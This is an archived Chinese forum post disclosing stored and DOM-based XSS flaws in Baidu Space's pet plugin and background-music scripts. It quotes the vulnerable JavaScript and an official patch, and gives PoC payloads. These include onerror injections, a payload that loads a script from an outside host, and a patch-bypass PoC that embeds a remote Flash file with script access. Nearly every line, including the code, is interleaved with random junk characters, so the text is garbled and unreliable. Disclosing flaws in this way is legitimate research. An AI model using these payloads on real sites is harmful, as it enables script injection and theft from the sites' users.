找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2169|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
- @8 u& Z+ x. \: @+ X. V1 g+ K! ~8 f# n0 R
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  ' A6 b" z. D6 N7 H2 U% @0 [6 H1 ~
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  8 ~5 ^& U& ]8 F5 e0 v4 _0 S

* S1 d- O3 M$ r: s# f8 v3 r将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  1 [5 k. R. u8 w
其中BdUtil.insertWBR为  
8 H, |, _( L* b  w) y. Cfunction(text, step) {  * Q- Y) e3 M; r3 N; M* {) ^7 _" K
    var textarea = textAreaCache || getContainer();  
" `2 g+ C' a8 S$ R, t' E1 q    if (!textarea) {  
# K2 p% a8 L) }* A        return text;  7 A# p4 R- S- `7 Q; z4 b3 w
    }  2 f$ q/ T- b% |- F2 Z8 I
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
7 J6 @9 a$ s$ V6 H. h/ A* y9 s( R% E    var string = textarea.value;  
8 `' G* {' S- M* v' w" v; ?8 y    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  * i9 F  V8 u: n0 z) b9 p
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  9 s% }# v1 H3 U4 ^+ {+ G# m0 B: r
    return result;  
/ Y! b$ w- v" \) P! F, D9 S6 C}  7 S2 Y7 J1 O, s4 X0 G( }8 ]" T
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  5 G: Y% w! J4 w6 h- b' x6 y+ Q$ e
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  % f. R, E8 V6 g* G
   : _6 k" g4 ?) S% z
二:creatbgmusic() Dom-Xss Bug  4 W9 J# Q* [! G6 z4 s
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
( X% T7 i8 h, w9 c! g5 c! q/ x
  c0 {# Q1 n' x: y9 v+ J* ]http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
: ]7 \, B1 f5 C$ |# N) N) U5 D! ^; l* Y/ H- s8 B- P) [- e
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  ! C3 k# x" U1 ]$ w+ t
    //传入的murl赋值到bgmusic1和bgmusic2中  9 @: x, j" r/ w/ S2 T4 [! S6 d
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
% \; w9 n! t* c5 Y" J$ Y; l$ p; f    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
5 h, |. V1 B3 x  c    if (musicnum <= 1) {  
! \, a( i) e' R+ {0 ^6 ^6 v6 X        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";    b4 L1 s7 L5 Q. X
    }  
) l4 C: N4 Y. c' R# Y$ T2 V, C    bgmusic1 += "</OBJECT>";  
! o- o, V2 x, d0 m    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  / o. m* L- h+ S* S& |
    if (musicnum <= 1) {  & I% U2 }$ c$ _8 R
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  : F' s7 R* \6 J8 z5 ^1 m
    }  
) o8 o- Q& a" h! U$ Q4 j    bgmusic2 += "> </EMBED>";  
& y0 N/ U3 t( F' n! Y# ~    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  " p" g! Z6 k' n- L
    var bgmus = detectWMP();  
5 A2 V. j7 B; ^0 y: `* p& m    if (functype == "FckMusicHelper") {  " X8 B* i5 [9 Z
        if (bgmus.installed) {  * ~5 A+ p& A. z5 Y( B
            if (bgmus.type == "IE") {  
' ?* ]: |( E1 S- k" q& G                return bgmusic1;  
: k" m2 q+ Y0 ^& V            } else if (bgmus.type == "NS") {  
7 ^* T0 b3 S* g' C5 |8 s- q" W                return bgmusic2;  
- t% S8 Z9 I+ v9 `0 U/ ?# |            }  
# p( u; E8 n' K: k$ a# h        } else {  ! y: V( x- X. N7 L0 H0 @! H7 Z
            return bgmusic3;  ' K6 x7 ^4 `$ X, h0 ?  M: @6 i
        }  
* Y# `* C& J2 `  [% B2 L    } else {  
2 V# R0 r; F  n% ~        if (bgmus.installed) {  
7 Y( U- }8 j$ d  P4 @! f            //document.write 直接输出bgmusic变量 导致xss  * c) {+ i, E; j, k2 N
            if (bgmus.type == "IE") {  
/ S1 N- _. q* D% k' @) M) r                document.write(bgmusic1);  
: N6 O: Z/ S7 K, d7 p  k            } else if (bgmus.type == "NS") {  ( A0 ?8 d5 I. D4 H) r
                document.write(bgmusic2);  # j3 V$ ~  M2 q4 x/ ^( R7 X
            }  
2 O& [# _- K2 s+ f; |- T$ P! L1 `        } else {  
8 `' A! ^3 J$ c1 N1 m- L9 t            document.write(bgmusic3);  . |; R  M' h$ }; L$ X" J' |
        }  
  v4 T7 _' C  \  D! A; ^( u        return "";  
  K% @+ e2 f, e; s$ P3 ]/ J    }  
( Z2 O) K" F4 g+ w, S}  
0 \5 H: W' x0 g$ G5 R; e0 q
& i9 @) b, o* h在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ' L4 `6 p9 r: L" q7 ?0 d0 Q# b: w
3 d4 ?/ U- _! O: J/ e% F; g
function initBlogTextForFCK(){  
/ ]; O7 `5 g& h4 c+ s9 M//fck init music  " D- Y# f7 q& i. \% W
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ; L/ B% e6 F8 ^, ]0 F' a
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  ; h+ r4 F; m5 Q7 g+ h7 s9 s7 m# f, D
var isAutoPlay=true;  
! H, b" v/ H* s/ j, Pfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  + ^1 {8 C; T+ f4 D( z
  var img=imgBox;  
, M! Y) C; Q0 _, x& D; t  if(img.getAttribute(’rel’)){        
! ?9 G. Z) J! B% M3 G  I) K% X6 d   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
# _$ t1 U$ o2 q* c- |5 Z5 e   var musicDiv = document.createElement("SPAN");  / X! J4 Z2 f4 S
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  $ ]3 k8 t" d( t" ~( z" h
     
/ [4 g. j+ R: @: Q      ..........................  
, V5 Q) e; i3 S6 R$ r     / M/ N7 p, F8 `) P1 b% l, \
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
7 y3 C# ^/ T7 J# x" [   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  $ i/ b0 A3 K8 }$ I3 Q) }
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
" s9 n% u9 c; n1 S% S   musicDiv.innerHTML=shtml;  
3 H/ C6 V/ I- R/ U% O; h   i--;n--;  ; U) s/ e: t) L7 O# M4 b
  }  / `6 m6 m8 b+ {, v2 p
}  6 a$ u- m6 f1 i3 L

1 X7 U+ }& X9 k5 Z# q1 I; A从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.    i/ k, U9 T0 E% H0 I, l
   
- v3 t; Y$ C7 r: l9 b测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  - e6 V6 n" @8 s

* O) Z* p" ~: t" K0 N, R等待官方补丁  
4 z% w- w' B- Y" `( ]9 q4 e' Y1 X; D
update 2010年5月13日   
  e* u1 c# f8 V3 q0 K! Y/ x
9 ?- X/ I" }9 M" o官方补丁:  . [2 P/ P. x1 C% N. Q7 X

5 V  s5 i( _$ w! B' ^+ lvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
. g" Z! I- O( g- k. }$ F改为:  $ U) M" l8 O" B* S6 S8 p# }- ~( i
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  & @' E3 @/ L( Z* a$ A6 S! i4 r
; Q; f# c  W* o1 p0 e/ F
update 2010年5月13日 21:50:37  # i9 ~( s( @; e' J9 v1 v* r
% y9 y* [8 T* ~: y7 L. X7 v4 t* |) |
补丁存在漏洞 没有过滤" 可以继续跨:  9 n( Z  ~5 X+ N+ b4 }+ j& p
0 P7 H; c3 C9 F# O3 q4 j! b7 P+ H
NEW POC:  7 ]$ K8 W- _4 O! z

1 ~+ N8 }; X! Y6 W/ I<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
& `) B% {+ i$ `, d- e2 x$ {) P  j. G2 u$ Z: n* V' _# j' Q
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>  i4 D5 S" }! u. n3 x7 n
( S7 B# I- X" F! q( ~; Y7 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表